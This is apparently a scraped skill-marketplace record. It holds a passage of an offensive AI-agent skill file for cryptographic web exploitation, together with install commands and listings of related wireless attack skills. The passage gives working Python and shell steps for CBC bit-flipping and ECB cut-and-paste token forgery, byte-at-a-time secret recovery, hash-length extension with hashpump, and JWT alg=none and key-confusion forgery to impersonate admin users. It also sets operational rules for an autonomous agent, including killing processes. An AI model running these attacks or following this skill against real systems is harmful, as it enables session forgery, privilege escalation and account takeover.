(block N+1 itself is corrupted to garbage).\n\n```python\n# Known plaintext at position i → desired plaintext at position i.\n# Flip ct[block_n][offset] ^= known_pt[i] ^ desired_pt[i]\nimport base64\nTOKEN = \"\u003Cbase64>\"\nct = bytearray(base64.b64decode(TOKEN))\n# E.g. flip \"user=guest\" → \"user=admin\" inside block 1, byte 5\nKNOWN, DESIRED = b\"guest\", b\"admin\"\nfor i in range(min(len(KNOWN), len(DESIRED))):\n    ct[i + 5] ^= KNOWN[i] ^ DESIRED[i]\nprint(base64.b64encode(bytes(ct)).decode())\n```\n\nBlock N is destroyed by the flip — make sure block N's plaintext is one the application doesn't sanity-check (e.g. timestamp \u002F nonce that's never read).\n\n## 3. AES-ECB Attacks\n\n### Pattern detection\nTwo identical 16-byte plaintext blocks produce two identical 16-byte ciphertext blocks under ECB. Detect:\n\n```python\nimport base64\nct = base64.b64decode(\"\u003CTOKEN>\")\nblocks = [ct[i:i+16] for i in range(0, len(ct), 16)]\nprint(\"blocks:\", len(blocks), \"unique:\", len(set(blocks)))\n# unique \u003C total → ECB confirmed\n```\n\n### Cut-and-paste\n\nIf the application encrypts `\u003Cattacker-controlled prefix> | \u003Cuser-data> | \u003Csuffix>` under ECB and lets the attacker register\u002Flogin multiple times, you can capture aligned blocks containing chosen plaintext (e.g. `admin\\x0b\\x0b\\x0b...`) and splice them into another user's token.\n\n```python\n# 1. Register a user whose name positions \"admin\" + valid PKCS7 padding into a clean block.\n# 2. Capture that ciphertext block.\n# 3. Register a normal user. Capture their token.\n# 4. Replace the block holding \"user\" with the block holding \"admin\".\n# 5. Submit forged token.\n```\n\n### Prefix\u002Fsuffix recovery\n\nIf you can prepend bytes to a secret suffix (e.g. flag) that the server encrypts under ECB:\n\n1. Find block size: vary prefix length, watch for first response-length jump of `BLOCK_SIZE`.\n2. Per byte: send `\"A\"*(BLOCK_SIZE-1)`, capture block, then for each `g in 0..255` send `\"A\"*(BLOCK_SIZE-1) + g`, compare blocks — match reveals the byte.\n3. Slide the prefix one byte left and repeat until the secret is exhausted.\n\n## 4. HMAC \u002F Signature Bypass\n\n### Hash-length extension\n\nIf the MAC is `MD5(secret || message)` or `SHA1(secret || message)` (no HMAC construction), and you know `len(secret) + len(message)` and the MAC, you can append data and compute a valid MAC without knowing the secret. Tooling: `hashpump` or `hash-length-attack` (Python).\n\n```bash\n# hashpump: append \"&admin=true\" to a signed message\nhashpump -s \u003Corig_mac> -d \"\u003Corig_message>\" -k \u003Csecret_len_guess> -a \"&admin=true\"\n```\n\n### JWT alg confusion\n\n- **`alg=none`**: strip signature, set header `{\"alg\":\"none\",\"typ\":\"JWT\"}`, set payload, send `\u003Cheader>.\u003Cpayload>.` (empty signature). Many libraries accept it.\n- **`alg=HS256` w\u002F public-key confusion**: server uses `verify(token, public_key)`. Re-sign the token with HMAC-SHA256 keyed by the server's RSA public key (PEM bytes). Same library now mistakes \"HS256\" for \"RS256\" verification using the public key as the HMAC key.\n- **`alg=RS256→HS256` substitution**: same as above — flip the alg header in the token.\n\n```python\nimport base64, hashlib, hmac, json\nHEADER = base64.urlsafe_b64encode(json.dumps({\"alg\":\"HS256\",\"typ\":\"JWT\"}).encode()).rstrip(b\"=\")\nPAYLOAD = base64.urlsafe_b64encode(json.dumps({\"user\":\"admin\"}).encode()).rstrip(b\"=\")\nPUBKEY_PEM = open(\"server_public.pem\",\"rb\").read()\nsig = hmac.new(PUBKEY_PEM, HEADER + b\".\" + PAYLOAD, hashlib.sha256).digest()\nSIG = base64.urlsafe_b64encode(sig).rstrip(b\"=\")\nprint((HEADER + b\".\" + PAYLOAD + b\".\" + SIG).decode())\n```\n\n## Anti-Patterns (Do NOT)\n\n- **No unbounded loops** in oracle harnesses. Always set `MAX_REQUESTS` and abort when it hits zero. A misconfigured oracle template can run forever otherwise.\n- **No `python3 detector.py > \u002Ftmp\u002Flog 2>&1 &` + `tail -f`** — if tmux pipe degrades the tail returns nothing forever and you cannot tell whether the script is alive. Prefer inline `timeout 600 python3 -u -c '...' | tee log.txt`.\n- **No `while True: r = requests.get(...)`**. Wrap every loop with a max-iterations bound and break on success.\n- **Do not iterate variants before the confirm-oracle gate fires positive.** That single discipline rule eliminates the most common cycle burn on crypto challenges.\n- **Always `python3 -u`** for line-buffered stdout. Without it, you cannot tell live progress from a wedge.\n- **Bounded `max_workers`** on `concurrent.futures.ThreadPoolExecutor`. 16 is plenty for the 256-byte search; >32 triggers sandbox throttling and rate-limit WAF rules.\n- **Set `requests.Session()` timeout=5** on EVERY call (not just the gate).\n- **No mid-flight edits.** If a harness is producing byte-by-byte progress output, let it finish. If you need a follow-up step (e.g. submit the recovered plaintext), write a SEPARATE script that reads the output and submits it. Never `edit_file` on a script that is currently producing results — the restart loses intermediate state, generates a new challenge session (new captcha\u002Fcookie), and invalidates everything already recovered.\n- **Atomic pipeline.** Probe → decrypt → submit must all use the SAME session cookie in ONE script invocation. Do not split these into separate runs. A new GET request generates a new encrypted captcha — the old recovered plaintext will not match.\n- **Single-process discipline.** The target is typically a single-threaded dev server (Flask\u002FExpress). Running multiple concurrent oracle scripts WILL crash it. Before launching the padding oracle harness, kill ALL other Python scripts hitting the target: `pkill -f 'python3.*\u003Cport_or_target>' 2>\u002Fdev\u002Fnull`. One harness at a time.\n\n## Tooling Note\n\nIn sandbox: `python3` (with `requests`, `cryptography`, `pycryptodome`), `hashpump`, `openssl`. NO `padbuster.pl` (Perl is not installed). Build padding-oracle attacks with the harness above, not a third-party CLI.\n\n## Verification\n\nCrypto attacks are confirmed when:\n- **Padding oracle**: at least the FIRST plaintext block is recovered AND it is human-readable plaintext (cookie payload, session JSON, etc.). If block 1 returns garbage, the oracle template is wrong — KILL and re-derive.\n- **CBC bit-flip**: the forged token successfully impersonates the target role\u002Fuser (e.g. `\u002Fadmin` returns admin content) AND a baseline-unflipped token does NOT.\n- **ECB cut-and-paste**: the spliced token produces the privileged response on a fresh login (≥3 reproductions).\n- **JWT alg confusion**: the forged JWT is accepted on a privileged endpoint that rejects an unsigned\u002Fgarbage JWT.\n- **Hash-length extension**: appended fields are honored by the server (e.g. `admin=true` flips role) AND the MAC validates without the secret.\n\n## Output Files\n\n```\n.\u002F\n├── oracle_gate.txt                 # Confirm-oracle gate output (PASS\u002FFAIL evidence)\n├── padding_oracle.txt              # Vaudenay run log + recovered plaintext\n├── ecb_blocks_\u003Ctarget>.txt         # ECB block analysis (uniqueness, repeats)\n├── jwt_forged_\u003Ctarget>.txt         # Forged JWT + verification trace\n└── crypto_\u003Ctarget>_summary.md      # What was tried, gate result, evidence trail\n```\n",{"name":5,"metadata":24,"description":7},{"subdomain":25,"when_to_use":26,"mitre_attack":27},"web-exploitation","padding oracle, Vaudenay, padding-oracle attack, CBC, AES-CBC, AES-ECB, ECB pattern, ECB block substitution, cut-and-paste, bit-flipping, IV manipulation, HMAC bypass, hash-length extension, length extension, MD5 length extension, SHA1 length extension, JWT alg confusion, JWT none, JWT alg=none, base64 cookie, encrypted cookie, encrypted token, captcha, encrypted captcha, crypto challenge, cipher","T1190","main","c0c483827a963764d5e1a663a9591867d47289e6","stack\u002Fdecepticon-slim\u002Fupstream\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fexploit\u002Fweb\u002Fcrypto","https:\u002F\u002Fgithub.com\u002FIwakishirokoshu\u002FHermesUltimate","https:\u002F\u002Fgithub.com\u002FIwakishirokoshu","2026-06-15 13:48:41",{"source":8,"skillName":5,"commands":35,"prompt":45,"zipAvailable":46},[36,39,42],{"tool":37,"command":38},"npx","npx skills add Iwakishirokoshu\u002FHermesUltimate --skill crypto",{"tool":40,"command":41},"bunx","bunx skills add Iwakishirokoshu\u002FHermesUltimate --skill crypto",{"tool":43,"command":44},"pnpm","pnpm dlx skills add Iwakishirokoshu\u002FHermesUltimate --skill crypto","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002FIwakishirokoshu\u002FHermesUltimate\u002Fblob\u002Fmain\u002Fstack\u002Fdecepticon-slim\u002Fupstream\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fexploit\u002Fweb\u002Fcrypto\u002FSKILL.md",true,[],[49,56,63,70,77,84],{"skillNo":50,"name":51,"nameZh":6,"description":52,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":53,"categories":54,"keywords":55,"publishedAt":19},"01M770W8JDE5EC1TJT4GSDWD78","wps-pixie-dust","WPS Pixie-Dust offline nonce attack (reaver -K \u002F pixiewps) and fallback online PIN brute (bully) to recover the AP's WPA PSK without capturing a handshake.","https:\u002F\u002Fgithub.com\u002FIwakishirokoshu\u002FHermesUltimate\u002Fblob\u002Fmain\u002Fstack\u002Fdecepticon-slim\u002Fupstream\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fwireless\u002Fwps-pixie-dust\u002FSKILL.md",[],[],{"skillNo":57,"name":58,"nameZh":6,"description":59,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":60,"categories":61,"keywords":62,"publishedAt":19},"01M770W4B7T5VCVHB88V1F02H1","wpa3-sae","WPA3-SAE transition-mode downgrade (DragonShift), SSID Confusion CVE-2023-52424, Dragonblood side-channels, and SAE captive-portal credential recovery against WPA3-Personal networks.","https:\u002F\u002Fgithub.com\u002FIwakishirokoshu\u002FHermesUltimate\u002Fblob\u002Fmain\u002Fstack\u002Fdecepticon-slim\u002Fupstream\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fwireless\u002Fwpa3-sae\u002FSKILL.md",[],[],{"skillNo":64,"name":65,"nameZh":6,"description":66,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":67,"categories":68,"keywords":69,"publishedAt":19},"01M770W093C8FAV8S34K8VB6T9","wpa2-psk","WPA\u002FWPA2-PSK handshake capture via targeted deauth + PMKID (no deauth required) + offline hashcat cracking. The most common consumer\u002FSMB encryption mode in 2026.","https:\u002F\u002Fgithub.com\u002FIwakishirokoshu\u002FHermesUltimate\u002Fblob\u002Fmain\u002Fstack\u002Fdecepticon-slim\u002Fupstream\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fwireless\u002Fwpa2-psk\u002FSKILL.md",[],[],{"skillNo":71,"name":72,"nameZh":6,"description":73,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":74,"categories":75,"keywords":76,"publishedAt":19},"01M770VTNAQGZ3D0RQVFEKTE8Z","wpa-enterprise-eap","WPA\u002FWPA2\u002FWPA3-Enterprise (802.1X\u002FEAP) rogue-RADIUS evil-twin for MSCHAPv2 capture, GTC downgrade, and PEAP relay. MSCHAPv2 capture equals a NetNTLM hash — the primary wireless on-ramp to Active Directory.","https:\u002F\u002Fgithub.com\u002FIwakishirokoshu\u002FHermesUltimate\u002Fblob\u002Fmain\u002Fstack\u002Fdecepticon-slim\u002Fupstream\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fwireless\u002Fwpa-enterprise-eap\u002FSKILL.md",[],[],{"skillNo":78,"name":79,"nameZh":6,"description":80,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":81,"categories":82,"keywords":83,"publishedAt":19},"01M770VNG05ZX3CV84R9GX8PJN","krack-fragattacks","KRACK key-reinstallation (CVE-2017-13077..13082) and FragAttacks fragmentation\u002Faggregation flaws (CVE-2020-24586..24588, CVE-2020-26139..26147) against legacy or embedded 802.11 supplicants with poor patch cadence.","https:\u002F\u002Fgithub.com\u002FIwakishirokoshu\u002FHermesUltimate\u002Fblob\u002Fmain\u002Fstack\u002Fdecepticon-slim\u002Fupstream\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fwireless\u002Fkrack-fragattacks\u002FSKILL.md",[],[],{"skillNo":85,"name":86,"nameZh":6,"description":87,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":88,"categories":89,"keywords":90,"publishedAt":19},"01M770VHFH7N192V56PFSRXF5K","evil-twin-karma","Evil-twin rogue AP with KARMA\u002FMana PNL-probe response, captive-portal credential capture, and post-association MITM for PSK\u002Fopen networks. Distinct from wpa-enterprise-eap which targets 802.1X.","https:\u002F\u002Fgithub.com\u002FIwakishirokoshu\u002FHermesUltimate\u002Fblob\u002Fmain\u002Fstack\u002Fdecepticon-slim\u002Fupstream\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fwireless\u002Fevil-twin-karma\u002FSKILL.md",[],[]]